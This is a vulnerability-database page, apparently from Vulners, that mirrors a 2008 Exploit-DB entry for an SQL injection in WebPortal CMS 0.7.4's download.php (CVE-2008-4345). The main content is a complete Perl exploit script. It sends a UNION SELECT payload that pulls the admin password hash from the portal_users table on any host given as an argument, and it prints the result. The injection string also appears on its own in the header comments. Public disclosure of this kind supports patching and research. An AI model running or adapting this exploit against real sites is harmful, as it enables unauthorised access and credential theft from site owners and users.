Lucene search
+L

WebPortal CMS 0.7.4 - 'download.php' SQL Injection

🗓️ 12 Sep 2008 00:00:00Reported by StAkeRType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 28 Views

WebPortal CMS 0.7.4 SQL Injection exploi

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2008-4345
12 Sep 200800:00
circl
CVE
CVE-2008-4345
30 Sep 200818:00
cve
Cvelist
CVE-2008-4345
30 Sep 200818:00
cvelist
EUVD
EUVD-2008-4326
7 Oct 202500:30
euvd
NVD
CVE-2008-4345
30 Sep 200818:15
nvd
Prion
Sql injection
30 Sep 200818:15
prion
#!/usr/bin/perl
# --==+============================================================================+==--
# --==+            WebPortal <= 0.7.4 Remote SQL Injection Exploit                 +==--
# --==+============================================================================+==--
#
#  [*] Discovered By: StAkeR ~ [email protected]
#  [+] Discovered On: 12 Sep 2008
#  [+] Download: http://webportal.ivanoculmine.com/download.php?mid=14
#
#  [*] SQL Injection
#  [+] download.php?aid=1'+union+select+pass,0,0,0,0+from+portal_users+where+id='1
#  [+] get file "download.php" and you can read
#
#  [*] Exploit:
#
 # ----------------------------------------------------------
 # WebPortal <= 0.7.4 Remote SQL Injection Exploit
 # Author: StAkeR - StAkeR[at]hotmail[dot]it
 # ----------------------------------------------------------
 # Usage: perl http://localhost/cms
 # ----------------------------------------------------------

 use strict;
 use LWP::Simple;


 my $domain = shift @ARGV or banner();
 my $injsql = "/download.php?aid=1'+union+select+pass,0,0,0,0+from+portal_users+where+id='1";

 if(get($domain.$injsql) =~ /([0-9a-f]{32})/)
 {
   print "[+] Exploit Succesfull!\n";
   print "[+] MD5 Password: ${1}\n";
 }
 else
 {
   print "[!] Exploit Failed!\n";
   print "[!] Site Not Vulnerable!\n";
 }

 sub banner
 {
   print "[+] WebPortal <= 0.7.4 Remote SQL Injection Exploit\n";
   print "[+] Usage: ${0} http://[host]\n";
   return exit;
 }

# milw0rm.com [2008-09-12]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Dec 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.00997
28